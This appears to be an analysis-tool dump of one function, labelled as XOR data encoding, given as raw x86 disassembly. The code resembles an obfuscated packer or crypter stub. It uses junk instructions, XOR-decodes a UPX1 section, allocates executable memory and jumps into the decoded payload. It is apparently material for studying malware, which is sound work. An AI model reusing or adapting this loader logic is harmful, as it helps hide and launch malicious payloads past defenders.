Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x3307a2cb
or edx, edi
mov edi, 0xd696adb5
inc edi
popal
dec edx
not edx
add edi, edi
mov eax, 0
mov ecx, ebx
or edx, edx
sub edx, esi
mov edi, ecx
and edx, esi
or esi, edx
sub esi, edx
mov ebx, edi
not edx
sub edx, esi
not edx
inc eax
or esi, esi
add edx, 0x3111f74a
sub edx, 0x8185fc82
cmp eax, 0x100014c
jne 0xa789c5
mov edx, esi
sub esi, edx
mov edi, edx
mov edi, edx
mov esi, 0xa78796
inc ecx
or ecx, ebx
add ebx, 0xa9bd3d69
mov eax, 0xa7898a
add ecx, 0xed3ad62a
or ebx, ebx
mov edx, dword [esi]
sub ebx, 0x5790e72e
mov ecx, ebx
and edx, 0xff
sub ecx, 0xdb17d2c5
not ebx
add edi, 0x8880ca24
xor dword [eax], edx
mov edi, ecx
and edi, edi
inc eax
add ecx, 1
and ecx, ecx
add ebx, ebx
inc esi
dec ecx
inc ecx
cmp eax, entry0
jl 0xa78a19
mov ebx, ecx
sub edi, 1
mov ebx, 0x58252384
and ebx, ebx
or ecx, ebx
add edx, esi
sub edx, 0xc238653d
mov edi, 0xa7898e
mov ebx, 0x87ab967c
sub edx, 0xc8910432
not ebx
mov edi, dword [edi]
add edx, ebx
sub esi, edx
mov ecx, 0x865909f
mov edi, dword [edi]
dec ecx
mov ecx, ebx
and edx, esi
push edi
not ecx
inc esi
and edx, edx
mov edi, 0xa7898a
mov ecx, esi
add ecx, 0xc6d4e790
mov edi, dword [edi]
mov ecx, 0xbcc8bb0
sub ebx, 0xda6c6113
sub ecx, esi
mov edi, dword [edi]
dec edx
or edx, ebx
sub esi, 0x3ca265e8
sub esp, 4
mov dword [esp], 0xa78992
sub esi, 0xa18b4d29
add ebx, 0xf681c524
add edx, esi
call edi
dec ebx
add ebx, edx
pop edi
add ecx, 0x8fc27642
add ecx, 0xea0d4afc
sub esp, 4
mov dword [esp], 0xa7899f
sub esi, ebx
add edx, edx
push eax
mov esi, ebx
mov ebx, 0x1549d9dc
mov edx, esi
call edi
add ebx, edx
or edx, ecx
push 0x40
mov ebx, edx
sub ebx, esi
push 0x3000
and edx, ebx
mov esi, 0xa910b790
add ebx, 1
sub esp, 4
mov dword [esp], 0x20000895
add ecx, 0xdfebd10
sub esi, 0x58fde7d7
sub esp, 4
mov dword [esp], 0
mov ebx, 0x7d9aa69d
sub ecx, 1
sub edx, 0xc8dbdef9
call eax
add esi, ebx
dec esi
add eax, 0x200007d0
mov ecx, ebx
mov edx, 0xc39f27af
add ebx, 0xf8d717b4
mov edi, 0xc076c55a
mov esi, ebx
sub edx, 0xa22a2fc3
mov dword [eax], edi
add esi, 0x95bdb645
inc ecx
not edx
mov edi, dword [eax]
inc ecx
mov ebx, 0x32c7a0e2
or edx, edx
cmp edi, 0xc076c55a
je 0xa78b9e
mov ebx, 0
mov ecx, dword [ebx]
sub edx, ecx
mov edx, esi
sub esi, ecx
not ecx
sub esi, 1
add edi, edi
add edi, 0x38285406
mov edx, edi
mov esi, section.UPX1
mov edx, 0x19839b29
add edi, 0x60fdd3c9
sub edi, 0x5e7c1126
mov ebx, 0xa78795
inc edx
mov edx, edi
add edi, edx
mov ecx, 0
not edi
add edi, edi
mov edx, edi
mov eax, 0xa78796
sub edx, 0x8872264d
mov edi, 0x1141aaa2
and edi, edx
lea eax, [eax + ecx]
mov edx, 0xe350433e
mov edx, 0x886057f6
not edx
mov eax, dword [eax]
and edx, edi
add edx, 0x6922e43d
and eax, 0xff
sub edi, 0xf835fac7
sub edx, edi
add edx, 0xb3bc3968
inc ecx
add edi, edi
add edx, edx
cmp ecx, 0x1f4
jne 0xa78c32
mov ecx, 0
sub edx, 0x7003263e
add edx, 1
mov edi, edx
mov edi, 0x55ad22ee
add edi, edx
xor dword [esi], eax
mov edi, 0x4fd48cd5
add edi, 0xdf6ad566
add esi, 2
add edx, 0x587c01ca
dec edi
cmp esi, ebx
jl 0xa78be1
or edi, edx
mov edi, edx
not edi
and edi, edi
mov ecx, section.UPX1
add esi, 0xc72b6012
and edi, edi
sub esi, 0x8689fba5
mov edx, section.UPX1
mov esi, edi
add esi, 1
mov eax, 0xa78795
dec edi
mov edi, 0x9cf3a9c0
sub edi, 0x20df7d4a
mov ebx, 0
and esi, edi
sub esi, 0xbfd3ae79
mov bl, byte [edx]
or edi, edi
mov esi, 0x378fdfaa
mov byte [ecx], bl
sub esi, 0xdffbce3b
inc edi
dec esi
inc ecx
dec edi
mov esi, edi
add edx, 2
mov esi, 0x13610dd8
mov esi, 0x551e8a2
or edi, esi
cmp edx, eax
jle 0xa78caf
mov edi, 0xeac87983
add esi, esi
mov edi, edx
and edx, edi
push 0x8dc6a0
mov edi, edx
sub edi, 0x63dc3e55
add edx, 0x46e09765
ret